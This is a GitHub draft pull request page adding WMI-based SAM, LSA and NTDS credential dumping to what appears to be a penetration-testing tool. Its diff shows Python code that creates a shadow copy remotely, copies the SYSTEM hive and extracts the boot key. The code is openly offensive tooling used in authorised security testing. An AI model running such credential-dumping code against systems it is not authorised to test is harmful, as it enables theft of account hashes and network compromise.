-
Notifications
You must be signed in to change notification settings - Fork 756
[WMI] Add SAM, LSA and NTDS dump #1379
New issue
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
Draft
zblurx
wants to merge
10
commits into
main
Choose a base branch
from
wmi_dump
base: main
Could not load branches
Branch not found: {{ refName }}
Loading
Could not load tags
Nothing to show
Loading
Are you sure you want to change the base?
Some commits from the old base branch may be removed from the timeline,
and old review comments may become outdated.
+371
−11
Draft
Changes from 6 commits
Commits
Show all changes
10 commits
Select commit
Hold shift + click to select a range
a819614
add get_file
zblurx 4711814
add sam and lsa dump
zblurx ab4a44c
update poetry lock
zblurx b6f20e4
ruff
zblurx ee9f59e
refacto namespace loading
zblurx 3c52ecb
create wmi RemoteOperation class
zblurx 65f4714
add ntds dump
zblurx 48cc6b0
added --use-snapshot-id arg
zblurx 34b7a35
ruff
zblurx 78d607b
fix issue with default shadow_id value
zblurx File filter
Filter by extension
Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
Some comments aren't visible on the classic Files Changed page.
There are no files selected for viewing
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| Original file line number | Diff line number | Diff line change |
|---|---|---|
| @@ -0,0 +1,80 @@ | ||
| from impacket.examples.secretsdump import LocalOperations | ||
|
|
||
| class RemoteOperations: | ||
| def __init__(self, context, shadow_id:str = None): | ||
| self.context = context | ||
|
|
||
| self.cimv2_namespace = self.context.get_namespace("//./root/cimv2") | ||
|
|
||
| # Cached variables | ||
| self.bootkey = None | ||
| self._shadow_id = shadow_id | ||
| self._shadow_copy_path = None | ||
|
|
||
| # Keep track if we created a Shadow Copy to delete it later | ||
| self.shadow_copy_created = False | ||
|
|
||
| def __del__(self): | ||
| # If we created a Shadow Copy, delete it | ||
| if self.shadow_copy_created: | ||
| wmiPath = f'Win32_ShadowCopy.ID="{self.shadow_id}"' | ||
| self.context.logger.debug(f"Trying to delete ShadowCopy with ID {self.shadow_id}") | ||
| ret = self.cimv2_namespace.DeleteInstance(wmiPath) | ||
| if (ret.GetCallStatus(0) & 0xffffffff) != 0: | ||
| self.context.logger.fail(f"Could not delete ShadowCopy ID {self.shadow_id}. You will need to delete this by yourself.") | ||
| else: | ||
| self.context.logger.debug(f"ShadowCopy with ID {self.shadow_id} successfully deleted") | ||
|
|
||
| def create_shadowcopy(self) -> str: | ||
| # Creating Shadow Volumes | ||
| shadow_id = None | ||
| try: | ||
| win32_shadow_copy, _ = self.cimv2_namespace.GetObject("Win32_ShadowCopy") | ||
| self.context.logger.debug("Trying to create SS remotely via WMI") | ||
| result = win32_shadow_copy.Create("C:\\", "ClientAccessible") | ||
| self.shadow_copy_created = True | ||
| shadow_id = result.ShadowID | ||
| self.context.logger.debug(f"Shadow Copy created at ID {shadow_id}") | ||
| except Exception as e: | ||
| self.context.logger.debug(f"Cannot create ShadowCopy: {e}") | ||
| return shadow_id | ||
|
|
||
| def get_shadowcopy_path(self, shadow_id: str = None) -> str: | ||
| if shadow_id is None: | ||
| shadow_id = self.shadow_id | ||
| device_object = None | ||
| try: | ||
| iEnum_shadow_copies = self.cimv2_namespace.ExecQuery(f'SELECT DeviceObject FROM Win32_ShadowCopy WHERE ID = "{shadow_id}"') | ||
| obj = iEnum_shadow_copies.Next(0xffffffff, 1)[0] | ||
| props = obj.getProperties() | ||
| shadow_copy = {k: v["value"] for k, v in props.items()} | ||
| device_object = shadow_copy['DeviceObject'] | ||
| self.context.logger.debug(f"Found ShadowCopy at {device_object}") | ||
| except Exception as e: | ||
| self.context.logger.debug(f"Cannot found ShadowCopy with ID {shadow_id} :{e}") | ||
| return device_object | ||
|
|
||
| @property | ||
| def shadow_id(self): | ||
| if self._shadow_id is None: | ||
| self._shadow_id = self.create_shadowcopy() | ||
| return self._shadow_id | ||
|
|
||
| @property | ||
| def shadow_copy_path(self): | ||
| if self._shadow_copy_path is None: | ||
| self._shadow_copy_path = self.get_shadowcopy_path() | ||
|
github-code-quality[bot] marked this conversation as resolved.
Fixed
|
||
| return self._shadow_copy_path | ||
|
|
||
| def get_bootkey(self, output_filename): | ||
| if self.bootkey is not None: | ||
| return self.bootkey | ||
|
|
||
| system_hive_path = f"{self.shadow_copy_path}\\Windows\\System32\\config\\SYSTEM" | ||
| system_hive_recovered = self.context.get_file_single(system_hive_path, f"{output_filename}.system") | ||
| if system_hive_recovered: | ||
| self.context.logger.debug("Got SYSTEM hive") | ||
|
|
||
| local_operations = LocalOperations(f"{output_filename}.system") | ||
| self.bootkey = local_operations.getBootKey() | ||
| return self.bootkey | ||
Some generated files are not rendered by default. Learn more about how customized files appear on GitHub.
Oops, something went wrong.
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Oops, something went wrong.
Add this suggestion to a batch that can be applied as a single commit.
This suggestion is invalid because no changes were made to the code.
Suggestions cannot be applied while the pull request is closed.
Suggestions cannot be applied while viewing a subset of changes.
Only one suggestion per line can be applied in a batch.
Add this suggestion to a batch that can be applied as a single commit.
Applying suggestions on deleted lines is not supported.
You must change the existing code in this line in order to create a valid suggestion.
Outdated suggestions cannot be applied.
This suggestion has been applied or marked resolved.
Suggestions cannot be applied from pending reviews.
Suggestions cannot be applied on multi-line comments.
Suggestions cannot be applied while the pull request is queued to merge.
Suggestion cannot be applied right now. Please check back later.
Uh oh!
There was an error while loading. Please reload this page.